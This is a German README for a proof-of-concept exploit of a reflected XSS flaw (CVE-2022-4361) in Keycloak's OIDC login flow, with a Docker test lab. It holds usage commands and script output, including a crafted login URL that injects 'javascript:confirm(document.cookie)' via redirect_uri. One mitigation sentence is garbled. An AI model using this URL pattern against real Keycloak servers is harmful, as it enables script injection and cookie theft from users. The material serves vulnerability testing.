
Proof-of-concept-Exploit für CVE-2022-4361, eine reflektierte XSS-Schwachstelle im OIDC-Authentifizierungsablauf von Keycloak, mit Docker-basierter Testumgebung und Python-Exploit-Skript.
Dieses Repository enthält einen PoC für CVE-2022-4361.
Alle Credits gehen an den ursprünglichen Autor der Entdeckung, mulliken.
WICHTIG: Dieser PoC ist nicht vollständig, da er den Fall des AssertionConsumerServiceURL-Werts im SAML-Authentifizierungsprotokoll nicht abdeckt. Derzeit ist nur der OIDC-Fall abgedeckt.
git clone https://github.com/faccimatteo/CVE-2022-4361.git && cd ./CVE-2022-4361
docker compose up -d
Warte, bis die Infrastruktur verfügbar und erreichbar ist.
Da Keycloak in diesem PoC nicht in eine Webanwendung integriert ist, muss die vollständige Keycloak-Authentifizierungs-URL angegeben werden (sobald die Test-Realm korrekt eingerichtet wurde).
Die Sicherheitslücke in dieser Testumgebung kann mit der folgenden URL getestet werden.
python3 ./CVE-2022-4361.py --url http://localhost:8080/realms/test-realm/protocol/openid-connect/auth\?client_id\=test-client\&redirect_uri\=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Ftest-realm%2Faccount%2F%23%2F\&state\=f0cd8010-72b1-476d-823a-b72e2106db1d\&response_mode\=fragment\&response_type\=code\&scope\=openid\&nonce\=eb117e13-b09e-49b1-a086-3ebb69d6ca3d\&code_challenge\=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w\&code_challenge_method\=S256
[+] Detected Keycloak OIDC configuration in the authentication flow for http://localhost:8080/realms/test-realm/protocol/openid-connect/auth?client_id=test-client&redirect_uri=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Ftest-realm%2Faccount%2F%23%2F&state=f0cd8010-72b1-476d-823a-b72e2106db1d&response_mode=fragment&response_type=code&scope=openid&nonce=eb117e13-b09e-49b1-a086-3ebb69d6ca3d&code_challenge=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w&code_challenge_method=S256.
[+] Crafted malicious Keycloak authentication URL: http://localhost:8080/realms/test-realm/protocol/openid-connect/auth?client_id=test-client&redirect_uri=javascript:confirm(document.cookie)&state=f0cd8010-72b1-476d-823a-b72e2106db1d&response_mode=form_post&response_type=code&scope=openid&nonce=eb117e13-b09e-49b1-a086-3ebb69d6ca3d&code_challenge=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w&code_challenge_method=S256
[+] The Keycloak instance used by the target is likely to be VULNERABLE to CVE-2022-4361!
[*] Opening malicious login page in your default web browser...
Ein Browserfenster mit der bösartigen Anmeldeseite wird geöffnet, wie im folgenden Screenshot zu sehen ist.

Sobald ein Opfer gültige Anmeldedaten (verfügbar in keycloak-config/test-realm.json) bereitstellt und auf den Sign In-Button klickt, wird der reflektierte XSS-Angriff ausgeliefert.
Es ist erwähnenswert, dass der Angriff selbst dann erfolgreich ist, wenn das Opfer bereits in der Anwendung angemeldet ist.

* für redirect_uri in Produktionsumgebungen niemals setzt.Derzeit deckt dieser PoC nur den Fall ab, dass Keycloak mit einem OIDC-Authentifizierungsablauf konfiguriert ist.
In den nächsten Bereitstellungen wird das SAML-Authentifizierungsprotokoll eingeführt.